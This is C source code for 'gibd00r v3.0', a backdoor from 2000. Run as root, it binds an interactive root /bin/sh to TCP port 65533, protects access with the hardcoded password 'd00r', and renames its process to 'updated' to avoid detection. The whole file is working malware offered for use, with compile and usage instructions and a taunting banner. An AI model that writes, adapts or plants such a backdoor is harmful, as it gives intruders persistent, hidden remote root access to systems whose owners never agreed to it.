/*            
 *                          gibd00r v3.0
 *              By axess ( axess@mail.com ) in Mar-2000
 *               Buffer0verfl0w Security www.b0f.com                           
 *
 *            Compile : gcc gibd00r.c -o gibd00r -Wall
 *
 *             Usage: ./gibd00r3 to just put it up or
 *                    ./gibd00r3 & to put it in the background.
 *    
 *         This binds a shell to a port, by default we use.
 *                        port == 65533
 *                        passwd == d00r
 *                        ps == updated 
 *
 *      We use passwd cause we dont want other ppl using it.
 *      You will not even get promphed for anything.
 *      Looks like an ident port.
 *      If passwd is wrong you will be disconnected. 
 *      Backdoors like this usually makes you use ; after every command.
 *      But i think that sucks, so i use normal commands in this one.
 *
 *    
 *  History:    1.0  28/7 -1999 
 *              2.0  9/11 -1999                      
 */

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <strings.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <signal.h>
#include <unistd.h>

void banner()
{
printf("\n\n         gibd00r3.0         \n");
printf("      By axess Mar-2000         \n");
printf("                                \n");
printf("   Ready for connections!!      \n");
printf("                                \n");
}

int main(int argc, char *argv[]) 
{
#define TRUE -1

struct sockaddr_in local;
struct sockaddr_in remote;

int s,r,size;
int login(int buffer);

strcpy(argv[0], "updated");
signal(SIGCHLD, SIG_IGN); 

size = sizeof(struct sockaddr_in);

if(getuid () != 0)
 {
      printf ("\n You should use this as r00t. \n");
      printf ("  Come back when you are. \n\n");
      exit(1);
 }

banner();

local.sin_family = AF_INET;
local.sin_port = htons(65533);
local.sin_addr.s_addr = INADDR_ANY;

if((s=socket(AF_INET, SOCK_STREAM, 0)) == 1) 
 {
   perror("Socket"); 
   exit(1);
 }

if(bind(s, (struct sockaddr *)&local, sizeof(struct sockaddr)) == TRUE) 
 {
   perror("Port");
   exit(1);
 }

if(listen(s, 5) == TRUE) 
{
   perror("Listen");
   exit(1); 
}

for(;;)
{
if((r=accept(s, (struct sockaddr *)&remote, &size)) == TRUE) 
{
  perror("accept");
  exit(1);
}
 
if(!fork())
{                 
if(login(r) == 0)
{
 close(r);
 exit(1);
}
          
      close(0);
      close(1);  
      close(2);
      dup2(r,0);
      dup2(r,1); 

puts("                     ");
puts("Welcome to gibd00r3.0");
puts("  By axess Mar-2000  ");
puts("                     ");
puts("  You are now r00t.  ");
puts("    Have phun..      ");
puts("                     ");
      
       execl("/bin/sh","/bin/sh","-i",(char *)0); 
       close(r);
       exit(0);
 } 
   close(r);
 }
 }  

int login(int buffer)
{
char passwd[5];
int teck;

recv(buffer,passwd,5,0);

for(teck=0 ; teck<5 ; teck++)
{
if(passwd[teck] == '\r')
passwd[teck] = '\0';
}
if(strcmp("d00r", passwd) == 0)
return(1);
else
return(0);
}